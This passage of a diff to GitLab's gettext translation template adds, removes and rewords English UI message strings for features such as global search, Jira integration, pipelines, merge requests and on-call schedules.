msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
